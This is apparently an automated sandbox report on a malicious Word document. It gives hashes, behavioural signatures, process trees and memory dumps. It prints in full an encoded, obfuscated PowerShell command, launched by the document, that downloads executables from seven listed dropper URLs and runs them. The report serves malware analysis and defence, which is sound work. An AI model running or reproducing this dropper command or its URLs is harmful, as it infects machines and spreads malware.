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Analysis

  • max time kernel
    120s
  • max time network
    120s
  • platform
    windows7_x64
  • resource
    win7-20240903-en
  • resource tags

    arch:x64arch:x86image:win7-20240903-enlocale:en-usos:windows7-x64system
  • submitted
    06/09/2024, 15:24

General

  • Target

    cfd80cc80e9400b3c1b75c5be4d69606_JaffaCakes118.doc

  • Size

    224KB

  • MD5

    cfd80cc80e9400b3c1b75c5be4d69606

  • SHA1

    31f6a2ee43be899aef50f1f5903e8c95e22daa73

  • SHA256

    206dc1c940e5109e2e121fc275c21edbf294ddc5c4d14fbda80d08b35dce5053

  • SHA512

    b829cb96c5f9b670a85f79827af50798ae8aa152b5eeada947330f0e0beb6ae56a536e6f6772f8d0d3a00fdb4e6edc54e6bd05bac8967bdf6d085adde808292f

  • SSDEEP

    3072:lV4PrXcuQuvpzm4bkiaMQgAlSsF62ezg2n2:cDRv1m4bnQgISsF6Lg2n2

Score
10/10

Malware Config

Extracted

Language
ps1
Source
URLs
exe.dropper

http://wynn838.com/wp-content/B/

exe.dropper

https://menuazores.com/root/4eq/

exe.dropper

https://www.lunalysis.com/images/P/

exe.dropper

https://fedo.xyz/wp-admin/AaD/

exe.dropper

http://themsc.net/cctqv/M/

exe.dropper

http://earthinnovation.org/pcimonitor/d/

exe.dropper

http://pastaciyiz.biz/wp-includes/1/

Signatures

  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Blocklisted process makes network request 11 IoCs
  • Drops file in System32 directory 1 IoCs
  • Drops file in Windows directory 1 IoCs
  • System Location Discovery: System Language Discovery 1 TTPs 1 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • Office loads VBA resources, possible macro or embedded object present
  • Modifies registry class 64 IoCs
  • Suspicious behavior: AddClipboardFormatListener 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of SetWindowsHookEx 2 IoCs
  • Suspicious use of WriteProcessMemory 4 IoCs

Processes

  • C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE
    "C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\cfd80cc80e9400b3c1b75c5be4d69606_JaffaCakes118.doc"
    1⤵
    • Drops file in Windows directory
    • System Location Discovery: System Language Discovery
    • Modifies registry class
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:2508
    • C:\Windows\splwow64.exe
      C:\Windows\splwow64.exe 12288
      2⤵
        PID:1408
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -en JABOAHoAaABzADIAegB5AD0AKAAoACcAVgB3ACcAKwAnAGoAdwB6ACcAKQArACcAYQB6ACcAKQA7AC4AKAAnAG4AZQAnACsAJwB3AC0AaQAnACsAJwB0AGUAbQAnACkAIAAkAGUAbgB2ADoAVQBTAEUAcgBQAHIAbwBmAEkAbABlAFwAYQA0AHYAZwBFADYAUwBcAHgAMQBpAFkAawBYAHMAXAAgAC0AaQB0AGUAbQB0AHkAcABlACAARABpAFIAZQBjAFQATwBSAHkAOwBbAE4AZQB0AC4AUwBlAHIAdgBpAGMAZQBQAG8AaQBuAHQATQBhAG4AYQBnAGUAcgBdADoAOgAiAHMARQBgAGMAVQByAGkAYABUAHkAUABgAFIAbwBUAGAATwBDAG8ATAAiACAAPQAgACgAKAAnAHQAJwArACcAbABzADEAJwApACsAKAAnADIALAAgAHQAJwArACcAbAAnACkAKwAoACcAcwAnACsAJwAxADEALAAnACkAKwAnACAAJwArACgAJwB0ACcAKwAnAGwAcwAnACkAKQA7ACQASABxADEAcgA1ADIAegAgAD0AIAAoACgAJwBEAGcAJwArACcAbAB4ACcAKQArACgAJwBqAG4AJwArACcAawAnACkAKwAnAGEAOQAnACkAOwAkAFcAZwBiAGIANgB5ADAAPQAoACgAJwBZAGYAJwArACcAdQAnACkAKwAoACcAaAB2ACcAKwAnAGwAZQAnACkAKQA7ACQAVwBwADkAMwA3AGsAegA9ACQAZQBuAHYAOgB1AHMAZQByAHAAcgBvAGYAaQBsAGUAKwAoACgAJwB7ADAAfQAnACsAKAAnAEEAJwArACcANAB2ACcAKQArACcAZwBlADYAcwB7ADAAJwArACcAfQAnACsAJwBYADEAJwArACcAaQAnACsAKAAnAHkAawAnACsAJwB4ACcAKQArACcAcwB7ADAAfQAnACkAIAAgAC0AZgBbAEMASABhAFIAXQA5ADIAKQArACQASABxADEAcgA1ADIAegArACgAJwAuAGUAJwArACcAeABlACcAKQA7ACQASgBzAHYANwBuADgAYQA9ACgAJwBOAGQAJwArACcAbQAnACsAKAAnADcAJwArACcAeQBmAG8AJwApACkAOwAkAFQAYgBjAGIAOQB5AHIAPQAmACgAJwBuAGUAJwArACcAdwAtAG8AYgBqAGUAYwAnACsAJwB0ACcAKQAgAE4ARQB0AC4AVwBFAEIAYwBMAGkARQBOAHQAOwAkAEQAdAAyAHUAYwBvAHIAPQAoACgAJwBoAHQAJwArACcAdABwADoAJwApACsAKAAnAC8ALwB3ACcAKwAnAHkAJwApACsAKAAnAG4AbgA4ACcAKwAnADMAOAAnACsAJwAuAGMAbwAnACsAJwBtAC8AdwBwACcAKwAnAC0AJwApACsAJwBjACcAKwAoACcAbwAnACsAJwBuAHQAZQBuACcAKQArACgAJwB0AC8AQgAvACcAKwAnACoAJwArACcAaAAnACsAJwB0AHQAcABzADoALwAnACsAJwAvAG0AJwApACsAKAAnAGUAbgB1AGEAJwArACcAegBvACcAKwAnAHIAJwApACsAJwBlAHMAJwArACgAJwAuAGMAbwAnACsAJwBtACcAKQArACgAJwAvAHIAJwArACcAbwAnACkAKwAoACcAbwB0ACcAKwAnAC8ANABlAHEALwAqAGgAdAAnACsAJwB0ACcAKwAnAHAAJwArACcAcwA6ACcAKQArACcALwAvACcAKwAnAHcAJwArACgAJwB3ACcAKwAnAHcALgBsAHUAbgBhACcAKwAnAGwAJwApACsAKAAnAHkAcwBpAHMALgAnACsAJwBjAG8AbQAvAGkAbQBhAGcAZQAnACsAJwBzACcAKQArACgAJwAvACcAKwAnAFAALwAqACcAKQArACgAJwBoAHQAJwArACcAdAAnACkAKwAnAHAAcwAnACsAKAAnADoAJwArACcALwAvACcAKQArACgAJwBmAGUAJwArACcAZABvAC4AJwApACsAJwB4ACcAKwAnAHkAJwArACgAJwB6AC8AJwArACcAdwAnACkAKwAnAHAAJwArACgAJwAtAGEAJwArACcAZABtACcAKQArACgAJwBpACcAKwAnAG4ALwBBAGEAJwArACcARAAvACoAaAAnACsAJwB0ACcAKQArACgAJwB0AHAAJwArACcAOgAvACcAKQArACgAJwAvAHQAaAAnACsAJwBlAG0AJwArACcAcwAnACsAJwBjAC4AbgBlACcAKQArACcAdAAnACsAKAAnAC8AYwBjAHQAJwArACcAcQB2ACcAKQArACgAJwAvAE0ALwAqAGgAdAB0AHAAOgAvACcAKwAnAC8AZQAnACsAJwBhACcAKQArACgAJwByAHQAJwArACcAaABpAG4AJwArACcAbgBvAHYAYQB0ACcAKQArACcAaQAnACsAKAAnAG8AbgAuAG8AcgBnACcAKwAnAC8AcAAnACkAKwAoACcAYwBpACcAKwAnAG0AbwBuACcAKQArACcAaQB0ACcAKwAoACcAbwByAC8AZAAvACcAKwAnACoAaAAnACkAKwAoACcAdAAnACsAJwB0AHAAOgAnACsAJwAvAC8AcABhAHMAdABhACcAKQArACgAJwBjAGkAJwArACcAeQBpAHoALgAnACkAKwAoACcAYgBpACcAKwAnAHoALwB3ACcAKwAnAHAALQBpAG4AYwBsAHUAZAAnACsAJwBlACcAKQArACgAJwBzAC8AMQAnACsAJwAvACcAKQApAC4AIgBzAGAAUABsAEkAdAAiACgAWwBjAGgAYQByAF0ANAAyACkAOwAkAE8ANgA2AHMANAA0ADMAPQAoACcAUgA4ACcAKwAoACcAYwB1AHAAMAAnACsAJwB3ACcAKQApADsAZgBvAHIAZQBhAGMAaAAoACQAUwA2AHIAbABwADUAdQAgAGkAbgAgACQARAB0ADIAdQBjAG8AcgApAHsAdAByAHkAewAkAFQAYgBjAGIAOQB5AHIALgAiAEQAbwBXAE4AbABPAGAAQQBkAGAARgBJAGwAZQAiACgAJABTADYAcgBsAHAANQB1ACwAIAAkAFcAcAA5ADMANwBrAHoAKQA7ACQATgB1AGEANABwAGIAcwA9ACgAJwBFACcAKwAoACcANAB0ADIAJwArACcAbQBjAGUAJwApACkAOwBJAGYAIAAoACgALgAoACcARwAnACsAJwBlAHQALQBJAHQAZQBtACcAKQAgACQAVwBwADkAMwA3AGsAegApAC4AIgBMAGAAZQBOAEcAdABoACIAIAAtAGcAZQAgADMANgAxADMANQApACAAewAuACgAJwBJAG4AdgBvAGsAZQAnACsAJwAtACcAKwAnAEkAdABlACcAKwAnAG0AJwApACgAJABXAHAAOQAzADcAawB6ACkAOwAkAEoAeAAxAHIAdwA4AHUAPQAoACgAJwBaAGkAcgA1AHIAJwArACcANQAnACkAKwAnAHUAJwApADsAYgByAGUAYQBrADsAJABKAG0AZQBlAHYAMgB0AD0AKAAoACcAVwAnACsAJwBtAGEAawBiACcAKwAnAGoAJwApACsAJwB2ACcAKQB9AH0AYwBhAHQAYwBoAHsAfQB9ACQARwAzAGIAbQA4AHMAOAA9ACgAKAAnAE0AZABxACcAKwAnADUAJwApACsAKAAnAGEAJwArACcAZQB6ACcAKQApAA==
      1⤵
      • Process spawned unexpected child process
      • Blocklisted process makes network request
      • Drops file in System32 directory
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:2752

    Network

    MITRE ATT&CK Enterprise v15

    Replay Monitor

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    Downloads

    • C:\Users\Admin\AppData\Roaming\Microsoft\Templates\Normal.dotm

      Filesize

      19KB

      MD5

      7d5bdfa03fb63ede0425380aaf2d2acb

      SHA1

      c598ceef00a4a5f918e296ed37eab3c41e743a93

      SHA256

      1e9d3151c4566a461b454f7b685ceb657550f4137772df70656f45aca14f5288

      SHA512

      68c5f453ade840c681d7e49f67a995da4f98cfd231a93e0a4d05991ee0e39fdaf78494c754d0ecf8f10cdfd0eff09f8c9473b829468919bce245b1c6e9eaf7da

    • memory/2508-15-0x0000000000270000-0x0000000000370000-memory.dmp

      Filesize

      1024KB

    • memory/2508-26-0x0000000000270000-0x0000000000370000-memory.dmp

      Filesize

      1024KB

    • memory/2508-5-0x0000000000270000-0x0000000000370000-memory.dmp

      Filesize

      1024KB

    • memory/2508-6-0x0000000000270000-0x0000000000370000-memory.dmp

      Filesize

      1024KB

    • memory/2508-7-0x00000000062E0000-0x00000000063E0000-memory.dmp

      Filesize

      1024KB

    • memory/2508-19-0x0000000000270000-0x0000000000370000-memory.dmp

      Filesize

      1024KB

    • memory/2508-22-0x0000000000270000-0x0000000000370000-memory.dmp

      Filesize

      1024KB

    • memory/2508-21-0x0000000000270000-0x0000000000370000-memory.dmp

      Filesize

      1024KB

    • memory/2508-20-0x0000000000270000-0x0000000000370000-memory.dmp

      Filesize

      1024KB

    • memory/2508-18-0x0000000000270000-0x0000000000370000-memory.dmp

      Filesize

      1024KB

    • memory/2508-17-0x0000000000270000-0x0000000000370000-memory.dmp

      Filesize

      1024KB

    • memory/2508-16-0x0000000000270000-0x0000000000370000-memory.dmp

      Filesize

      1024KB

    • memory/2508-14-0x0000000000270000-0x0000000000370000-memory.dmp

      Filesize

      1024KB

    • memory/2508-13-0x0000000000270000-0x0000000000370000-memory.dmp

      Filesize

      1024KB

    • memory/2508-12-0x0000000000270000-0x0000000000370000-memory.dmp

      Filesize

      1024KB

    • memory/2508-11-0x0000000000270000-0x0000000000370000-memory.dmp

      Filesize

      1024KB

    • memory/2508-10-0x0000000000270000-0x0000000000370000-memory.dmp

      Filesize

      1024KB

    • memory/2508-9-0x0000000000270000-0x0000000000370000-memory.dmp

      Filesize

      1024KB

    • memory/2508-8-0x0000000000270000-0x0000000000370000-memory.dmp

      Filesize

      1024KB

    • memory/2508-0-0x000000002F8B1000-0x000000002F8B2000-memory.dmp

      Filesize

      4KB

    • memory/2508-2-0x000000007310D000-0x0000000073118000-memory.dmp

      Filesize

      44KB

    • memory/2508-23-0x0000000000270000-0x0000000000370000-memory.dmp

      Filesize

      1024KB

    • memory/2508-25-0x0000000000270000-0x0000000000370000-memory.dmp

      Filesize

      1024KB

    • memory/2508-27-0x0000000000270000-0x0000000000370000-memory.dmp

      Filesize

      1024KB

    • memory/2508-24-0x0000000000270000-0x0000000000370000-memory.dmp

      Filesize

      1024KB

    • memory/2508-32-0x0000000000270000-0x0000000000370000-memory.dmp

      Filesize

      1024KB

    • memory/2508-31-0x0000000000270000-0x0000000000370000-memory.dmp

      Filesize

      1024KB

    • memory/2508-29-0x0000000000270000-0x0000000000370000-memory.dmp

      Filesize

      1024KB

    • memory/2508-33-0x0000000000270000-0x0000000000370000-memory.dmp

      Filesize

      1024KB

    • memory/2508-28-0x0000000000270000-0x0000000000370000-memory.dmp

      Filesize

      1024KB

    • memory/2508-30-0x0000000000270000-0x0000000000370000-memory.dmp

      Filesize

      1024KB

    • memory/2508-62-0x000000007310D000-0x0000000073118000-memory.dmp

      Filesize

      44KB

    • memory/2508-61-0x000000005FFF0000-0x0000000060000000-memory.dmp

      Filesize

      64KB

    • memory/2508-41-0x000000007310D000-0x0000000073118000-memory.dmp

      Filesize

      44KB

    • memory/2508-42-0x0000000000270000-0x0000000000370000-memory.dmp

      Filesize

      1024KB

    • memory/2508-43-0x0000000000270000-0x0000000000370000-memory.dmp

      Filesize

      1024KB

    • memory/2508-44-0x0000000000270000-0x0000000000370000-memory.dmp

      Filesize

      1024KB

    • memory/2508-45-0x0000000000270000-0x0000000000370000-memory.dmp

      Filesize

      1024KB

    • memory/2508-1-0x000000005FFF0000-0x0000000060000000-memory.dmp

      Filesize

      64KB

    • memory/2752-40-0x0000000002860000-0x0000000002868000-memory.dmp

      Filesize

      32KB

    • memory/2752-39-0x000000001B7B0000-0x000000001BA92000-memory.dmp

      Filesize

      2.9MB